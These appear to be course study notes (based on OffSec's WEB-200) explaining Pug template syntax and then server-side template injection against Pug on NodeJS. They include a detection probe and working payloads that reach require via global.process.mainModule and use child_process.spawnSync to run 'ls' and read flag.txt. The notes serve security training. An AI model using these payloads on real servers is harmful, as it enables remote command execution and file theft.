Pug

Syntax

The content below is based on OffSec's WEB-200 course.

Pug is commonly integrated with the Express framework in a NodeJS application.

Pug is specially-designed to generate HTML files and that is why it has syntax for specifying an HTML tag and tag attributes. Some things to note:

  • Pug requires the first word to be the HTML tag that will wrap the following data (e.g. h1).

  • It allows us to pass tag attributes within parantheses after the tag declaration (input(type='hidden' name='admin' value='true').

  • Keywords like if and else are not treated as HTML tags.

  • Puge can execute JavaScript code directly.

    • With the dash character (-) the code will be executed by the JavaScript engine and the output won't be displayed (unbuffered code) (- secret = ['❤️','😍', '🤟']).

    • With the equal sign (=) the code will be execute and the output will be displayed (buffered code) (= secret = ['❤️','😍', '🤟']).

h1 Hello, #{name}
input(type='hidden' name='admin' value='true')
 
if showSecret
  - secret = ['❤️','😍', '🤟']
  p The secrets are: 
  each val in secret
    p #{val}
  else
    p No secret for you!

SSTI

The example below is based on OffSec's WEB-200 course.

Pug requires each line to start with an HTML tag and it uses JavaScript which handles in a non-strict way. Thus, we can use a simple payload such as #{7*'7'} and it is executed to 49 and wrapped around <>, we can infer that Pug is used (Figure 1).

Figure 1: Enumerating a Pug templating engine.

Pug is typically rendering on the server-side and since we know that it uses NodeJS, we can use the child_process.spawnSync command to execute system commands. The child_process module is not available by default, but we can import it via the requirefunction, if the latter exists (Figure 2).

= require
Figure 2: Checking if direct access to the require function is available.

It seems that we don't have direct access to require but we can still access it through global.process.mainModule (Figure 3).

= global.process.mainModule.require
Figure 3: Accessing require via the global object.

Next, we can use require to import child_process, and use the latter for execute system commands (Figure 4).

- var require = global.process.mainModule.require
= require('child_process').spawnSync('ls').stdout
Figure 4: Executing system commands via the Pug templating engine.

To read the flag we need to pass the file as a command argument.

- var require = global.process.mainModule.require
= require('child_process').spawnSync('cat',['flag.txt']).stdout

Last updated

Was this helpful?